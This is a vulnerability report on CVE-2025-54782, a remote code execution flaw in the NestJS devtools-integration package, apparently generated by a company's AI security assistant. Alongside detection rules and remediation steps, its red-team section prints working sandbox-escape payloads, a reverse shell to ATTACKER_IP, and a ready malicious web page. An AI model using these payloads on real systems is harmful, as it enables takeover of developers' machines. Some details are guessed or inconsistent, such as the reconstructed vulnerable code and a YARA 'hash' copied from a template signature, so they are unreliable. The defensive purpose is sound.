CVE-2025-54782

Executive Summary

CVE-2025-54782 is a critical Remote Code Execution (RCE) vulnerability in the @nestjs/devtools-integration package for NestJS, a popular Node.js server-side framework. The vulnerability exists in versions 0.2.0 and below. When the devtools integration is enabled, it exposes a local HTTP server with an endpoint (/inspector/graph/interact) that accepts arbitrary JavaScript code and executes it within a Node.js vm.runInNewContext sandbox. Due to improper sandboxing and a lack of cross-origin protections, a malicious website visited by a developer can trigger this endpoint, leading to arbitrary code execution on the developer's machine. The vulnerability has a CVSS v4 score of 9.4 (Critical) and is publicly exploitable.

Supply Chain & Package Security

This vulnerability affects the @nestjs/devtools-integration npm package. Developers who include this package as a dependency in their NestJS projects are at risk. The package is intended for development use only, but its inclusion in a project's dependencies can lead to exploitation if a developer visits a malicious website while the dev server is running. The attack vector relies on the developer's browser making a cross-origin request to the local dev server, which lacks proper CORS or CSRF protections.

CVSS Breakdown & Threat Level

CVSS v4.0 Score: 9.4 (Critical)

Vector: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

• Attack Vector (AV): Adjacent Network (A) - The attacker must be on the same network as the developer's machine, or the developer must visit a malicious website that can reach the local dev server.
• Attack Complexity (AC): Low (L) - No special conditions are required to exploit.
• Attack Requirements (AT): None (N) - No prerequisites.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - The developer does not need to perform any action beyond visiting a malicious website.
• Vulnerable System Confidentiality (VC): High (H) - Full access to the developer's file system.
• Vulnerable System Integrity (VI): High (H) - Ability to modify files and install malware.
• Vulnerable System Availability (VA): High (H) - Can disrupt or destroy the system.
• Subsequent System Confidentiality (SC): High (H) - Can pivot to other systems.
• Subsequent System Integrity (SI): High (H) - Can compromise other systems.
• Subsequent System Availability (SA): High (H) - Can affect other systems.

EPSS Score: 0.30245 (30.2% probability of exploitation in the wild within 30 days)

Threat Level: Critical. The vulnerability is trivial to exploit, has a public PoC, and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the @nestjs/devtools-integration package, which adds debugging and inspection capabilities to a NestJS application. When enabled, it starts a local HTTP server (typically on a high port like 3001) that exposes several endpoints. One of these endpoints is /inspector/graph/interact.

The endpoint accepts a POST request with a JSON body containing a code field. The server then executes this code using Node.js's vm.runInNewContext(). While vm.runInNewContext() is intended to be a sandbox, it is notoriously insecure and can be easily escaped to gain access to the host system's process object and require function.

The exploit works by triggering a JavaScript error that leaks the constructor.constructor chain, which ultimately provides access to the Function constructor. This allows the attacker to execute arbitrary system commands via child_process.execSync().

The lack of cross-origin protections (CORS or CSRF tokens) means that any website visited by the developer can make a POST request to http://localhost:<port>/inspector/graph/interact and execute arbitrary code.

Vulnerable vs. Patched Code

Vulnerable Code (version 0.2.0 and below):

The vulnerable code likely looks similar to this (simplified):

// Vulnerable endpoint handler
app.post('/inspector/graph/interact', (req, res) => {
  const { code } = req.body;
  try {
    const result = vm.runInNewContext(code, {});
    res.send({ result });
  } catch (error) {
    res.status(500).send({ error: error.message });
  }
});

Patched Code (version 0.2.1):

The patched version removes the unsafe code execution endpoint entirely or replaces it with a safe alternative that does not execute arbitrary JavaScript. The exact patch is not publicly available, but the advisory states that the endpoint is removed or properly sandboxed.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Target: A NestJS application with @nestjs/devtools-integration version 0.2.0 or below enabled.
2. Attacker: A machine with a web browser and a public interactsh server (or a custom DNS/HTTP callback server).

Exploitation Steps:

1. Identify the target: Find a developer's machine running a NestJS dev server with the devtools integration enabled. This can be done by scanning for open ports (e.g., 3001) or by social engineering.
2. Craft the exploit payload: Use the payload from the Nuclei template or a similar one that escapes the sandbox and executes a command.
3. Deliver the payload: Host a malicious website that makes a POST request to the target's local dev server. The developer only needs to visit this website.
4. Execute the command: The payload will execute on the developer's machine. Use a command like nslookup or curl to exfiltrate data to your interactsh server.

Example Payload (from Nuclei template):

(function(){
  try{
    propertyIsEnumerable.call()
  }catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')
  }
})()

Alternative Payload (for reverse shell):

(function(){
  try{
    propertyIsEnumerable.call()
  }catch(pp){
    pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"')
  }
})()

Malicious HTML Page:

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <h1>Click me</h1>
    <script>
        fetch('http://localhost:3001/inspector/graph/interact', {
            method: 'POST',
            headers: {
                'Content-Type': 'text/plain'
            },
            body: JSON.stringify({
                code: "(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup YOUR_INTERACTSH_DOMAIN')}})()"
            })
        });
    </script>
</body>
</html>

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual outbound connections: Look for DNS queries or HTTP requests to unknown domains from developer machines.
2. Monitor for unexpected child processes: Use EDR to detect node processes spawning cmd.exe, powershell, bash, or other shells.
3. Monitor network traffic: Look for POST requests to /inspector/graph/interact on local development servers.
4. Check for the vulnerable package: Scan package.json files for @nestjs/devtools-integration version < 0.2.1.

Hunting Query (Splunk):

index=windows sourcetype=WinEventLog:Security EventCode=4688
| where New_Process_Name IN ("*\\cmd.exe", "*\\powershell.exe", "*\\bash.exe")
| where Parent_Process_Name IN ("*\\node.exe")
| table _time, User, Parent_Process_Name, New_Process_Name, CommandLine

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /inspector/graph/interact on localhost or any local IP.
  • Outbound DNS queries to interactsh domains or unknown domains.
  • Outbound HTTP/HTTPS connections to attacker-controlled servers.
• File System:
  • Presence of @nestjs/devtools-integration version < 0.2.1 in node_modules.
  • Suspicious files created in temporary directories.
• Process:
  • node.exe spawning cmd.exe, powershell.exe, or bash.exe.
  • node.exe making outbound network connections.
• Registry (Windows):
  • Unusual registry modifications made by node.exe.

Detection Engineering

YARA Rule

rule CVE_2025_54782_NestJS_DevTools_RCE {
    meta:
        description = "Detects the vulnerable @nestjs/devtools-integration package"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54782"
        hash = "4b0a00483046022100f200e795aa7d20b7f8f5fe99a4de3fdf738adc37ed98038802865a59b348ff69022100d27072bd62a0627ce8473e40556044587163ceeaeab03bbc7f09eff4bc53e539"
    strings:
        $a = "/inspector/graph/interact"
        $b = "vm.runInNewContext"
        $c = "@nestjs/devtools-integration"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-54782 - NestJS DevTools RCE Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-54782 via POST requests to /inspector/graph/interact
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54782
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/inspector/graph/interact'
    condition: selection
falsepositives:
    - Legitimate use of the devtools integration (should not exist in production)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54782 - NestJS DevTools RCE Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/inspector/graph/interact"; http_uri; content:"code"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-54782

info:
  name: NestJS DevTools Integration - Remote Code Execution
  author: nukunga
  severity: critical
  description: |
    Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
  impact: |
    Malicious websites visited by developers can execute arbitrary code on their local machine through the unprotected /inspector/graph/interact endpoint due to improper sandboxing.
  remediation: This is fixed in version 0.2.1.
  reference:
    - https://socket.dev/blog/nestjs-rce-vuln
    - https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54782
  classification:
    cvss-metrics: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
    cvss-score: 9.4
    cve-id: CVE-2025-54782
    epss-score: 0.30245
    epss-percentile: 0.96701
    cwe-id: CWE-77,CWE-352,CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: "devtools.nestjs.com"
  tags: cve,cve2025,nestjs,rce,sandbox,devtool,unauth,vkev,vuln

http:
  - raw:
      - |
        POST /inspector/graph/interact HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        {"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')}})()"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: content_type
        words:
          - "application/plain"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f200e795aa7d20b7f8f5fe99a4de3fdf738adc37ed98038802865a59b348ff69022100d27072bd62a0627ce8473e40556044587163ceeaeab03bbc7f09eff4bc53e539:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Update the package: Upgrade @nestjs/devtools-integration to version 0.2.1 or later.

   npm update @nestjs/devtools-integration
   

2. Disable the devtools integration in production: Ensure that the devtools integration is only enabled in development environments.
3. Restrict network access: If the devtools integration must be used, restrict access to the local dev server (e.g., bind to 127.0.0.1 only and use a firewall).
4. Implement CORS/CSRF protections: If you must expose the devtools endpoint, add proper CORS headers and CSRF tokens.

Long-Term Mitigations:

1. Code review: Review any code that uses vm.runInNewContext() or similar sandboxing mechanisms. Replace with safer alternatives like vm2 (though it also has vulnerabilities) or avoid dynamic code execution entirely.
2. Security awareness: Educate developers about the risks of visiting untrusted websites while running development servers.
3. Network segmentation: Isolate development environments from production networks.
4. Endpoint detection and response (EDR): Deploy EDR solutions on developer machines to detect and block suspicious behavior.

Valters IT signature

This report was generated by Valters IT DevSecOps AI Assistant.

{/* [Security Hash: 4EC46A1D9EEDEC9D584FB396] */}